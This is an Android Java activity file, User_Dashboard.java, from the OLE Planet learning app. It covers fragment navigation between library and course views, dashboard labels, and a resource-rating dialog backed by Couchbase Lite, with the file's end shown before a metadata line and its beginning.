args.putString("targetAction", "myCourses");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myCourses.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
@Override
public void onFragmentInteraction(Uri uri) {
}
@Override
public void onFinishPageLoad(Fragment fragToCall, String actionTarget) {
if (actionTarget.equalsIgnoreCase("myLibrary") || actionTarget.equalsIgnoreCase("myCourses") || actionTarget.equalsIgnoreCase("Library") || actionTarget.equalsIgnoreCase("Courses")) {
Bundle args = new Bundle();
args.putString("sys_usercouchId", sys_usercouchId);
fragToCall.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, fragToCall);
transaction.addToBackStack(null);
transaction.commit();
}
}
///// Course
@Override
public void onTakeCourseOpen(String courseId) {
Fragm_TakeCourse fg_TakeCourse = new Fragm_TakeCourse();
Bundle args = new Bundle();
args.putString("sys_usercouchId", sys_usercouchId);
args.putString("courseId", courseId);
fg_TakeCourse.setArguments(args);
FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, fg_TakeCourse);
transaction.addToBackStack(null);
transaction.commit();
///Show as active
resetActiveButton();
lt_myCourses.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
/* Fragm_TakeCourseTabbed fg_TakeCourse = new Fragm_TakeCourseTabbed();
Bundle args = new Bundle();
args.putString("sys_usercouchId", sys_usercouchId);
args.putString("courseId", courseId);
//fg_TakeCourse.setArguments(args);
FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, fg_TakeCourse);
transaction.addToBackStack(null);
transaction.commit();
///Show as active
resetActiveButton();
lt_myCourses.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
*/
}
@Override
public void onCourseDownloadCompleted(String CourseId, Object data) {
///alertDialogOkay("Download Completed");
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myCourses");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myCourses.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
@Override
public void onCourseDownloadingProgress(String itemTitle, String status, String message) {
}
@Override
public void onResourceDownloadCompleted(String CourseId, Object data) {
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myLibrary");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myLibrary.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
@Override
public void onResourceOpened(String resourceId, String resourceTitle) {
openedResource=true;
openedResourceId =resourceId;
openedResourceTitle = resourceTitle;
checkResourceOpened();
}
public void checkResourceOpened() {
if (openedResource) {
rateResourceDialog(openedResourceId, openedResourceTitle);
openedResource = false;
}
}
public void rateResourceDialog(String resourceId, String title) {
// custom dialog
final String resourceID = resourceId;
final Dialog dialog = new Dialog(context);
dialog.setContentView(R.layout.rate_resource_dialog);
dialog.setTitle("Add Feedback For \n");
final TextView txtResTitle = (TextView) dialog.findViewById(R.id.txtResTitle);
txtResTitle.setText(title);
final EditText txtComment = (EditText) dialog.findViewById(R.id.editTextComment);
final RatingBar ratingBar = (RatingBar) dialog.findViewById(R.id.ratingBar);
ratingBar.setOnRatingBarChangeListener(new RatingBar.OnRatingBarChangeListener() {
public void onRatingChanged(RatingBar ratingBar, float rating, boolean fromUser) {
}
});
Button dialogButton = (Button) dialog.findViewById(R.id.btnRateResource);
dialogButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
logHouse.saveRating(getApplicationContext(),(int) ratingBar.getRating(),String.valueOf(txtComment.getText()), resourceID );
//saveRating((int) ratingBar.getRating(), String.valueOf(txtComment.getText()), resourceID);
dialog.dismiss();
}
});
dialog.show();
}
@Override
public void onCourseAdmission(String CourseId) {
///alertDialogOkay("Download Completed");
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myCourses");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myCourses.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
public void showRoundMenu(){
Dialog dialogMenu;
AlertDialog.Builder dialogB2 = new AlertDialog.Builder(context,R.style.TransparentDialog);
dialogB2.setView(R.layout.dialog_menu);
dialogB2.setCancelable(false);
Log.d(TAG, "Whats here");
try {
dialogMenu = dialogB2.create();
dialogMenu.show();
final CircleMenuView menu = (CircleMenuView) dialogMenu.findViewById(R.id.circle_menu);
menu.setEventListener(new CircleMenuView.EventListener() {
@Override
public void onMenuOpenAnimationStart(@NonNull CircleMenuView view) {
Log.d("D", "onMenuOpenAnimationStart");
}
@Override
public void onMenuOpenAnimationEnd(@NonNull CircleMenuView view) {
Log.d("D", "onMenuOpenAnimationEnd");
}
@Override
public void onMenuCloseAnimationStart(@NonNull CircleMenuView view) {
Log.d("D", "onMenuCloseAnimationStart");
}
@Override
public void onMenuCloseAnimationEnd(@NonNull CircleMenuView view) {
Log.d("D", "onMenuCloseAnimationEnd");
}
@Override
public void onButtonClickAnimationStart(@NonNull CircleMenuView view, int index) {
Log.d("D", "onButtonClickAnimationStart| index: " + index);
}
@Override
public void onButtonClickAnimationEnd(@NonNull CircleMenuView view, int index) {
Log.d("D", "onButtonClickAnimationEnd| index: " + index);
}
});
//downloadPB.setScaleY(3f);
} catch (Exception err) {
err.printStackTrace();
}
}
/*
public void saveRating(int rate, String comment, String resourceId) {
AndroidContext androidContext = new AndroidContext(context);
Manager manager = null;
Database resourceRating;
int doc_rating;
int doc_timesRated;
ArrayList<String> commentList = new ArrayList<>();
try {
manager = new Manager(androidContext, Manager.DEFAULT_OPTIONS);
resourceRating = manager.getDatabase("resourcerating");
Document retrievedDocument = resourceRating.getExistingDocument(resourceId);
if (retrievedDocument != null) {
Map<String, Object> properties = retrievedDocument.getProperties();
if (properties.containsKey("sum")) {
doc_rating = (int) properties.get("sum");
doc_timesRated = (int) properties.get("timesRated");
commentList = (ArrayList<String>) properties.get("comments");
commentList.add(comment);
Map<String, Object> newProperties = new HashMap<>();
newProperties.putAll(retrievedDocument.getProperties());
newProperties.put("sum", (doc_rating + rate));
newProperties.put("timesRated", doc_timesRated + 1);
newProperties.put("comments", commentList);
retrievedDocument.putProperties(newProperties);
updateActivityRatingResources(rate, resourceId);
Toast.makeText(context, String.valueOf(rate), Toast.LENGTH_SHORT).show();
}
} else {
Document newdocument = resourceRating.getDocument(resourceId);
Map<String, Object> newProperties = new HashMap<>();
newProperties.put("sum", rate);
newProperties.put("timesRated", 1);
commentList.add(comment);
newProperties.put("comments", commentList);
newdocument.putProperties(newProperties);
/// todo check updating resource to see it works
updateActivityRatingResources(rate, resourceId);
Toast.makeText(context, String.valueOf(rate), Toast.LENGTH_SHORT).show();
}
} catch (Exception err) {
Log.e("MyCouch", "ERR : " + err.getMessage());
}
}
public boolean updateActivityRatingResources(float rate, String resourceid) {
AndroidContext androidContext = new AndroidContext(this);
Manager manager = null;
Database activityLog;
try {
manager = new Manager(androidContext, Manager.DEFAULT_OPTIONS);
activityLog = manager.getDatabase("activitylog");
@SuppressLint("WifiManagerLeak") WifiManager wm = (WifiManager) getSystemService(Context.WIFI_SERVICE);
String m_WLANMAC = wm.getConnectionInfo().getMacAddress();
Document retrievedDocument = activityLog.getDocument(m_WLANMAC);
if (retrievedDocument != null) {
Map<String, Object> properties = retrievedDocument.getProperties();
try {
ArrayList female_rating = (ArrayList<String>) properties.get("female_rating");
ArrayList female_timesRated = (ArrayList<String>) properties.get("female_timesRated");
ArrayList male_rating = (ArrayList<String>) properties.get("male_rating");
ArrayList male_timesRated = (ArrayList<String>) properties.get("male_timesRated");
ArrayList resourcesIds = (ArrayList<String>) properties.get("resourcesIds");
Log.e("MyCouch", "Option Rating 1");
if (sys_usergender.toLowerCase().equalsIgnoreCase("female")) {
female_rating.add(rate);
female_timesRated.add(1);
male_rating.add(0);
male_timesRated.add(0);
} else {
female_rating.add(0);
female_timesRated.add(0);
male_rating.add(rate);
male_timesRated.add(1);
}
resourcesIds.add(resourceid);
Map<String, Object> newProperties = new HashMap<>();
newProperties.putAll(retrievedDocument.getProperties());
newProperties.put("female_rating", female_rating);
newProperties.put("female_timesRated", female_timesRated);
newProperties.put("male_rating", male_rating);
newProperties.put("male_timesRated", male_timesRated);
newProperties.put("resourcesIds", resourcesIds);
retrievedDocument.putProperties(newProperties);
Log.e("MyCouch", "Saved resource rating in local Activity Log ");
return true;
} catch (Exception err) {
Log.e("MyCouch", "Option Rating 1 Failed " + err.getMessage());
try {
Log.e("MyCouch", "Option 2");
Map<String, Object> newProperties = new HashMap<>();
newProperties.putAll(retrievedDocument.getProperties());
ArrayList female_rating = new ArrayList<>();
ArrayList female_timesRated = new ArrayList<>();
ArrayList male_rating = new ArrayList<>();
ArrayList male_timesRated = new ArrayList<>();
ArrayList resourcesIds = new ArrayList<>();
if (sys_usergender.toLowerCase().equalsIgnoreCase("female")) {
female_rating.add(rate);
female_timesRated.add(1);
male_rating.add(0);
male_timesRated.add(0);
} else {
female_rating.add(0);
female_timesRated.add(0);
male_rating.add(rate);
male_timesRated.add(1);
}
resourcesIds.add(resourceid);
newProperties.putAll(retrievedDocument.getProperties());
newProperties.put("female_rating", female_rating);
newProperties.put("female_timesRated", female_timesRated);
newProperties.put("male_rating", male_rating);
newProperties.put("male_timesRated", male_timesRated);
newProperties.put("resourcesIds", resourcesIds);
retrievedDocument.putProperties(newProperties);
Log.e("MyCouch", "Saved resource rating in local Activity Log ");
return true;
} catch (Exception er) {
Log.e("MyCouch", "Option Rating 2 Failed" + er.getMessage());
return false;
}
}
} else {
try {
Log.e("MyCouch", "Option Rating 1b");
Map<String, Object> newProperties = new HashMap<>();
newProperties.putAll(retrievedDocument.getProperties());
ArrayList female_rating = new ArrayList<>();
ArrayList female_timesRated = new ArrayList<>();
ArrayList male_rating = new ArrayList<>();
ArrayList male_timesRated = new ArrayList<>();
ArrayList resourcesIds = new ArrayList<>();
if (sys_usergender.toLowerCase().equalsIgnoreCase("female")) {
female_rating.add(rate);
female_timesRated.add(1);
male_rating.add(0);
male_timesRated.add(0);
} else {
female_rating.add(0);
female_timesRated.add(0);
male_rating.add(rate);
male_timesRated.add(1);
}
resourcesIds.add(resourceid);
newProperties.putAll(retrievedDocument.getProperties());
newProperties.put("female_rating", female_rating);
newProperties.put("female_timesRated", female_timesRated);
newProperties.put("male_rating", male_rating);
newProperties.put("male_timesRated", male_timesRated);
newProperties.put("resourcesIds", resourcesIds);
retrievedDocument.putProperties(newProperties);
Log.e("MyCouch", "Saved resource rating in local Activity Log ");
return true;
} catch (Exception err) {
Log.e("MyCouch", "Option Rating 1b Failed : " + err.getMessage());
return false;
}
}
} catch (Exception err) {
Log.e("MyCouch", "Updating Activity Rating Log : " + err.getMessage());
return false;
}
}
*/
}
| UTF-8 | Java | 44,518 | java | User_Dashboard.java | Java | []
| null | []
| package org.ole.learning.planet.planetlearning;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.Dialog;
import android.app.DownloadManager;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Color;
import android.net.Uri;
import android.net.wifi.WifiManager;
import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentActivity;
import android.support.v4.app.FragmentTransaction;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AlertDialog;
import android.text.TextUtils;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.LinearLayout;
import android.widget.ProgressBar;
import android.widget.RatingBar;
import android.widget.TextView;
import android.widget.Toast;
import com.couchbase.lite.Database;
import com.couchbase.lite.Document;
import com.couchbase.lite.Manager;
import com.couchbase.lite.Query;
import com.couchbase.lite.QueryEnumerator;
import com.couchbase.lite.QueryRow;
import com.couchbase.lite.android.AndroidContext;
import com.ramotion.circlemenu.CircleMenuView;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
/**
* org.ole.learning.planet
*
* An example full-screen activity that shows and hides the system UI (i.e.
* status bar and navigation/system bar) with user interaction.
*/
public class User_Dashboard extends FragmentActivity implements Fragm_TakeCourse.OnFragmentInteractionListener,
ListViewAdapter_myCourses.OnmyCourseListListener, Fragm_myCourses.OnFragmentInteractionListener,
ListViewAdapter_myLibrary.OnResouceListListener,Fragm_Loading.OnFragmentInteractionListener,
ListViewAdapter_Courses.OnCourseListListener, Fragm_Courses.OnFragmentInteractionListener,
Fragm_TakeCourseTabbed.OnFragmentInteractionListener ,BlankFragment.OnFragmentInteractionListener {
private View mControlsView;
String TAG = "MYAPP";
public static final String PREFS_NAME = "MyPrefsFile";
//// Declare LinearLayouts
LinearLayout lt_myLibrary, lt_myCourses, lt_myTeams, lt_myMembers;
//// Declare Image Buttons
ImageButton btnBadges, btnSurvay, btnEmails, btnPoints, btnFeedback,
btnMyLibrary, btnMyCourses, btnMyTeams, btnMyMeetups, btnLogout, btnPlanetLogo;
//// TextView
TextView lblMyLibrary, lblMyCourses, lblMyTeams, lblMyMeetups, lblLogout,
lblHome, lblLibrary, lblCourses, lblMeetups, lblMembers, lblReports, lblFeedback,
lbl_Name, lbl_Role, lbl_NumMyLibrary, lbl_NumMyCourse, lbl_NumMyTeams, lbl_NumMyMeetups,lbl_Visits;
/// String
String sys_oldSyncServerURL, sys_username, sys_lastSyncDate,
sys_password, sys_usercouchId, sys_userfirstname, sys_userlastname,
sys_usergender, sys_uservisits, sys_servername, sys_serverversion = "";
String doc_lastVisit, sys_NewDate, profile_membersRoles = "";
String resourceIdTobeOpened, OneByOneResID, OneByOneResTitle;
/// Integer
int sys_uservisits_Int, myLibraryItemCount, myCoursesItemCount;
//// Boolean
Boolean sys_singlefilestreamdownload, sys_multiplefilestreamdownload;
//// Object
Object[] sys_membersWithResource;
Activity activity;
String openedResourceId, openedResourceTitle = "";
boolean openedResource = false;
////Buttons
Button dialogBtnDownoadAll, dialogBtnDownoadFile, dialogBtnOpenFileOnline;
///Others
SharedPreferences settings;
CouchViews chViews = new CouchViews();
LogHouse logHouse = new LogHouse();
Intent serviceIntent;
AndroidContext androidContext;
final Context context = this;
private ProgressDialog mDialog;
Dialog openResourceDialog;
DownloadManager downloadManager;
private long enqueue;
boolean singleFileDownload = true;
Dialog dialog2;
ProgressDialog loading_dialog;
LinearLayout loadingImage;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_user__dashboard);
mControlsView = findViewById(R.id.fullscreen_content_controls);
androidContext = new AndroidContext(this);
activity = this;
loadingImage = (LinearLayout) findViewById(R.id.lbl_loading_image);
loadingImage.setVisibility(View.INVISIBLE);
initiateLayoutMaterials();
initiateOnClickActions();
restorePreferences();
///totalVisits(sys_usercouchId);
loadUIDynamicText();
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myLibrary");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myLibrary.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
public void initiateLayoutMaterials() {
btnBadges = (ImageButton) findViewById(R.id.ibtn_Badges);
btnSurvay = (ImageButton) findViewById(R.id.ibtn_Survay);
btnEmails = (ImageButton) findViewById(R.id.ibtn_Emails);
btnPoints = (ImageButton) findViewById(R.id.ibtn_Points);
btnFeedback = (ImageButton) findViewById(R.id.ibtn_Feedback);
btnMyLibrary = (ImageButton) findViewById(R.id.ibtn_myLibrary);
btnMyCourses = (ImageButton) findViewById(R.id.ibtn_myCourses);
btnMyTeams = (ImageButton) findViewById(R.id.ibtn_myTeams);
btnMyMeetups = (ImageButton) findViewById(R.id.ibtn_myMeetups);
btnLogout = (ImageButton) findViewById(R.id.ibtn_Logout);
btnPlanetLogo = (ImageButton) findViewById(R.id.ibtn_PlanetLogo);
lblMyLibrary = (TextView) findViewById(R.id.lbl_myLibrary);
lblMyCourses = (TextView) findViewById(R.id.lbl_myCourses);
lblMyTeams = (TextView) findViewById(R.id.lbl_myTeams);
lblMyMeetups = (TextView) findViewById(R.id.lbl_myMeetups);
lblLogout = (TextView) findViewById(R.id.lbl_Logout);
lblHome = (TextView) findViewById(R.id.lbl_home);
lblLibrary = (TextView) findViewById(R.id.lbl_library);
lblCourses = (TextView) findViewById(R.id.lbl_courses);
lblMeetups = (TextView) findViewById(R.id.lbl_meetups);
lblMembers = (TextView) findViewById(R.id.lbl_members);
lblReports = (TextView) findViewById(R.id.lbl_reports);
lblFeedback = (TextView) findViewById(R.id.lbl_feedback);
lbl_Name = (TextView) findViewById(R.id.lbl_name);
lbl_Role = (TextView) findViewById(R.id.lbl_role);
lbl_Visits = (TextView) findViewById(R.id.lbl_NoOfVisits);
lbl_NumMyLibrary = (TextView) findViewById(R.id.lbl_NumMyLibrary);
lbl_NumMyCourse = (TextView) findViewById(R.id.lbl_NumMyCourses);
lbl_NumMyTeams = (TextView) findViewById(R.id.lbl_NumMyTeams);
lbl_NumMyMeetups = (TextView) findViewById(R.id.lbl_NumMyMeetups);
lt_myLibrary = (LinearLayout) findViewById(R.id.lt_myLibrary);
lt_myCourses = (LinearLayout) findViewById(R.id.lt_myCourses);
lt_myTeams = (LinearLayout) findViewById(R.id.lt_myTeams);
lt_myMembers = (LinearLayout) findViewById(R.id.lt_myMeetups);
}
public void initiateOnClickActions() {
btnBadges.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "Badges click action error " + except.getMessage());
}
}
});
btnSurvay.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "Survay click action error " + except.getMessage());
}
}
});
btnEmails.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "Emails click action error " + except.getMessage());
}
}
});
btnPoints.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "Points click action error " + except.getMessage());
}
}
});
btnFeedback.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "Feedback click action error " + except.getMessage());
}
}
});
btnMyLibrary.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
openMyLibrary();
} catch (Exception except) {
Log.d(TAG, "MyLibrary click action error " + except.getMessage());
}
}
});
btnMyCourses.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
openMyCourses();
} catch (Exception except) {
Log.d(TAG, "MyCourses click action error " + except.getMessage());
}
}
});
btnMyTeams.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "MyTeams click action error " + except.getMessage());
}
}
});
btnMyMeetups.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "MyMeetups click action error " + except.getMessage());
}
}
});
btnLogout.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
Intent intent = new Intent(context, FullscreenLogin.class);
startActivity(intent);
} catch (Exception except) {
Log.d(TAG, "Logout click action error " + except.getMessage());
}
}
});
btnPlanetLogo.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
//showRoundMenu();
} catch (Exception except) {
Log.d(TAG, "PlanetLogo click action error " + except.getMessage());
}
}
});
//// Labels //
lblMyLibrary.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
openMyLibrary();
} catch (Exception except) {
Log.d(TAG, "MyLibrary click action error " + except.getMessage());
}
}
});
lblMyCourses.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
openMyCourses();
} catch (Exception except) {
Log.d(TAG, "MyCourses click action error " + except.getMessage());
}
}
});
lblMyTeams.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "MyTeams click action error " + except.getMessage());
}
}
});
lblMyMeetups.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "MyMeetups click action error " + except.getMessage());
}
}
});
lblLogout.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
Intent intent = new Intent(context, FullscreenLogin.class);
startActivity(intent);
} catch (Exception except) {
Log.d(TAG, "Logout click action error " + except.getMessage());
}
}
});
lblHome.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "Home click action error " + except.getMessage());
}
}
});
lblLibrary.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
openLibrary();
} catch (Exception except) {
Log.d(TAG, "Library click action error " + except.getMessage());
}
}
});
lblCourses.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
openCourses();
} catch (Exception except) {
Log.d(TAG, "Courses click action error " + except.getMessage());
}
}
});
lblMeetups.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "Meetups click action error " + except.getMessage());
}
}
});
lblMembers.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "Members click action error " + except.getMessage());
}
}
});
lblReports.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "Reports click action error " + except.getMessage());
}
}
});
lblFeedback.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "Feedback click action error " + except.getMessage());
}
}
});
}
public void restorePreferences() {
settings = context.getSharedPreferences(PREFS_NAME, 0);
sys_username = settings.getString("pf_username", "");
sys_oldSyncServerURL = settings.getString("pf_sysncUrl", "http://");
sys_lastSyncDate = settings.getString("pf_lastSyncDate", "");
sys_password = settings.getString("pf_password", "");
sys_usercouchId = settings.getString("pf_usercouchId", "");
sys_userfirstname = settings.getString("pf_userfirstname", "");
sys_userlastname = settings.getString("pf_userlastname", "");
sys_usergender = settings.getString("pf_usergender", "");
sys_uservisits = settings.getString("pf_uservisits", "");
sys_uservisits_Int = settings.getInt("pf_uservisits_Int", 0);
sys_singlefilestreamdownload = settings.getBoolean("pf_singlefilestreamdownload", true);
sys_multiplefilestreamdownload = settings.getBoolean("multiplefilestreamdownload", true);
sys_servername = settings.getString("pf_server_name", " ");
sys_serverversion = settings.getString("pf_server_version", " ");
loadUIDynamicText();
Set<String> mwr = settings.getStringSet("membersWithResource", null);
try {
sys_membersWithResource = mwr.toArray();
Log.e(TAG, " membersWithResource = " + sys_membersWithResource.length);
} catch (Exception err) {
Log.e(TAG, " Error creating sys_membersWithResource");
}
runBackgroundService();
}
public void loadUIDynamicText() {
lbl_Name.setText(getUserName());
lbl_Role.setText(String.valueOf(getUserRole()));
lbl_NumMyLibrary.setText(String.valueOf(getUserMyLibraryNum()));
lbl_NumMyCourse.setText(String.valueOf(getUserMyCourseNum()));
lbl_NumMyTeams.setText(getUserMyTeamsNum());
lbl_NumMyMeetups.setText(getUserMtMeetupsNum());
if (sys_uservisits == "") {
lbl_Visits.setText( sys_uservisits_Int );
} else {
lbl_Visits.setText(sys_uservisits);
}
}
public String todaysDate(){
DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Calendar cal = Calendar.getInstance();
System.out.println(dateFormat.format(cal.getTime()));
return dateFormat.format(cal.getTime());
}
public String getUserName() {
if (sys_username != "") {
return sys_userfirstname + " " + sys_userlastname;
} else {
return "";
}
}
public String getUserRole() {
String memberId = sys_usercouchId;
try {
Manager manager = new Manager(androidContext, Manager.DEFAULT_OPTIONS);
Database db_members = manager.getExistingDatabase("members");
Document members_doc = db_members.getExistingDocument(memberId);
Map<String, Object> members_doc_properties = members_doc.getProperties();
ArrayList membersRoles = (ArrayList) members_doc_properties.get("roles");
profile_membersRoles = TextUtils.join(" - ", membersRoles);
return profile_membersRoles;
} catch (Exception except) {
Log.d(TAG, "Counting MyLibrary resources error " + except.getMessage());
return "-";
}
}
public Integer getUserMyLibraryNum() {
String memberId = sys_usercouchId;
try {
Manager manager = new Manager(androidContext, Manager.DEFAULT_OPTIONS);
Database db_shelf = manager.getExistingDatabase("shelf");
Query orderedQuery = chViews.ReadShelfByIdView(db_shelf).createQuery();
orderedQuery.setDescending(true);
QueryEnumerator results = orderedQuery.run();
myLibraryItemCount = 0;
for (Iterator<QueryRow> it = results; it.hasNext(); ) {
QueryRow row = it.next();
String docId = (String) row.getValue();
Document shelf_doc = db_shelf.getExistingDocument(docId);
Map<String, Object> shelf_doc_properties = shelf_doc.getProperties();
if (memberId.equals((String) shelf_doc_properties.get("memberId"))) {
myLibraryItemCount++;
}
}
return myLibraryItemCount;
} catch (Exception except) {
Log.d(TAG, "Counting MyLibrary resources error " + except.getMessage());
return 0;
}
}
public Integer getUserMyCourseNum() {
String memberId = sys_usercouchId;
try {
Manager manager = new Manager(androidContext, Manager.DEFAULT_OPTIONS);
Database db_courses = manager.getExistingDatabase("courses");
Query orderedQuery = chViews.ReadCourses(db_courses).createQuery();
orderedQuery.setDescending(true);
QueryEnumerator results = orderedQuery.run();
myCoursesItemCount = 0;
for (Iterator<QueryRow> it = results; it.hasNext(); ) {
QueryRow row = it.next();
String docId = (String) row.getValue();
Document courses_doc = db_courses.getExistingDocument(docId);
Map<String, Object> courses_doc_properties = courses_doc.getProperties();
ArrayList courseMembers = (ArrayList) courses_doc_properties.get("members");
for (int cnt = 0; cnt < courseMembers.size(); cnt++) {
if (memberId.equals(courseMembers.get(cnt).toString())) {
myCoursesItemCount++;
}
}
}
return myCoursesItemCount;
} catch (Exception except) {
Log.d(TAG, "Counting MyLibrary resources error " + except.getMessage());
return 0;
}
}
public String getUserMyTeamsNum() {
return "0";
}
public String getUserMtMeetupsNum() {
return "0";
}
public void alertDialogOkay(String Message) {
AlertDialog.Builder builder1 = new AlertDialog.Builder(context);
builder1.setMessage(Message);
builder1.setCancelable(true);
builder1.setNegativeButton("Okay",
new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
dialog.cancel();
}
});
AlertDialog alert11 = builder1.create();
alert11.show();
}
public void runBackgroundService() {
try {
serviceIntent = new Intent(context, ServerSearchService.class);
context.stopService(serviceIntent);
} catch (Exception error) {
Log.e("MYAPP", " Creating Service error " + error.getMessage());
}
}
public void resetActiveButton() {
lt_myLibrary.setBackgroundColor(Color.TRANSPARENT);
lt_myCourses.setBackgroundColor(Color.TRANSPARENT);
lt_myTeams.setBackgroundColor(Color.TRANSPARENT);
lt_myMembers.setBackgroundColor(Color.TRANSPARENT);
int sdk = android.os.Build.VERSION.SDK_INT;
if(sdk < android.os.Build.VERSION_CODES.JELLY_BEAN) {
lt_myLibrary.setBackgroundDrawable(getResources().getDrawable(R.drawable.border));
lt_myCourses.setBackgroundDrawable(getResources().getDrawable(R.drawable.border));
lt_myTeams.setBackgroundDrawable(getResources().getDrawable(R.drawable.border));
lt_myMembers.setBackgroundDrawable(getResources().getDrawable(R.drawable.border));
} else {
lt_myLibrary.setBackground(getResources().getDrawable(R.drawable.border));
lt_myCourses.setBackground(getResources().getDrawable(R.drawable.border));
lt_myTeams.setBackground(getResources().getDrawable(R.drawable.border));
lt_myMembers.setBackground(getResources().getDrawable(R.drawable.border));
}
lblHome.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblLibrary.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblCourses.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblMeetups.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblMembers.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblReports.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblFeedback.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
}
public void openLibrary() {
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "Library");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lblLibrary.setTextColor(ContextCompat.getColor(context,R.color.ole_yellow));
}
public void openCourses() {
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "Courses");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
